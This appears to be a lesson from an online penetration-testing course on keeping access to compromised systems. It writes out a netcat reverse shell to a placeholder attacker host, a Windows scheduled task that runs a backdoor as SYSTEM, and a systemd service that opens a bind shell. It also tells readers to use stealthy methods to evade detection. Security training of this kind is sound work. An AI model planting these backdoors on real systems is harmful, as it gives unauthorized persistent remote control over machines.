Maintaining access is a crucial phase in the post-exploitation process of penetration testing. Once a pentester has successfully exploited a vulnerability and gained access to a target system, the next step is to ensure that this access can be maintained for further analysis and exploitation. This involves setting up backdoors, creating persistent access points, and ensuring that the access remains undetected by the system's defenses.
Key Concepts
- Persistence Mechanisms: Techniques used to maintain access to a compromised system even after reboots or other interruptions.
- Backdoors: Hidden methods to bypass normal authentication and gain access to a system.
- Rootkits: Malicious software designed to hide the presence of certain processes or programs from normal methods of detection.
- Command and Control (C2) Servers: Servers used by attackers to communicate with compromised systems and control them remotely.
Techniques for Maintaining Access
- Creating Backdoors
Backdoors are one of the most common methods for maintaining access. They allow attackers to bypass normal authentication mechanisms and regain access to the system at any time.
Example: Creating a Simple Backdoor with Netcat
# On the attacker's machine (listening for connections) nc -lvp 4444 # On the target machine (connecting back to the attacker's machine) nc -e /bin/bash attacker_ip 4444
Explanation:
nc -lvp 4444
: This command sets up Netcat to listen on port 4444 for incoming connections.nc -e /bin/bash attacker_ip 4444
: This command on the target machine connects back to the attacker's machine and provides a bash shell.
- Using Scheduled Tasks
Scheduled tasks can be used to execute scripts or commands at regular intervals, ensuring that access is maintained even after reboots.
Example: Creating a Scheduled Task on Windows
# Create a scheduled task to run a backdoor script every hour schtasks /create /tn "BackdoorTask" /tr "C:\backdoor.bat" /sc hourly /ru SYSTEM
Explanation:
schtasks /create
: Command to create a new scheduled task./tn "BackdoorTask"
: Name of the task./tr "C:\backdoor.bat"
: Path to the script to be executed./sc hourly
: Schedule the task to run every hour./ru SYSTEM
: Run the task with SYSTEM privileges.
- Modifying System Services
Modifying existing system services or creating new ones can provide a persistent method of maintaining access.
Example: Creating a New Service on Linux
# Create a new service file echo -e "[Unit]\nDescription=Backdoor Service\n\n[Service]\nExecStart=/bin/bash -c 'nc -lvp 4444 -e /bin/bash'\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/backdoor.service # Reload systemd manager configuration systemctl daemon-reload # Enable and start the new service systemctl enable backdoor.service systemctl start backdoor.service
Explanation:
- The service file defines a new service that starts a Netcat listener on port 4444 and provides a bash shell.
systemctl daemon-reload
: Reloads the systemd manager configuration.systemctl enable backdoor.service
: Enables the service to start at boot.systemctl start backdoor.service
: Starts the service immediately.
Practical Exercise
Exercise: Setting Up a Persistent Backdoor
Objective: Set up a persistent backdoor on a Linux system using a systemd service.
Steps:
- Create a new service file for the backdoor.
- Reload the systemd manager configuration.
- Enable and start the new service.
Solution:
# Step 1: Create a new service file echo -e "[Unit]\nDescription=Backdoor Service\n\n[Service]\nExecStart=/bin/bash -c 'nc -lvp 4444 -e /bin/bash'\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/backdoor.service # Step 2: Reload systemd manager configuration systemctl daemon-reload # Step 3: Enable and start the new service systemctl enable backdoor.service systemctl start backdoor.service
Common Mistakes and Tips
-
Mistake: Forgetting to reload the systemd manager configuration after creating or modifying a service file.
- Tip: Always run
systemctl daemon-reload
after making changes to service files.
- Tip: Always run
-
Mistake: Using easily detectable methods for maintaining access.
- Tip: Use stealthy techniques and tools to avoid detection by security software.
-
Mistake: Not testing the persistence mechanism to ensure it works after reboots.
- Tip: Always test your persistence mechanisms by rebooting the target system and verifying that access is maintained.
Conclusion
Maintaining access is a critical step in the post-exploitation phase of penetration testing. By using techniques such as creating backdoors, scheduled tasks, and modifying system services, pentesters can ensure that they retain access to compromised systems for further analysis and exploitation. Understanding and implementing these techniques effectively can significantly enhance the success of a penetration test.
Pentesting Course: Penetration Testing Techniques
Module 1: Introduction to Pentesting
Module 2: Reconnaissance and Information Gathering
Module 3: Scanning and Enumeration
Module 4: Exploitation of Vulnerabilities
- Introduction to Exploitation
- Exploitation of Web Vulnerabilities
- Exploitation of Network Vulnerabilities
- Exploitation of System Vulnerabilities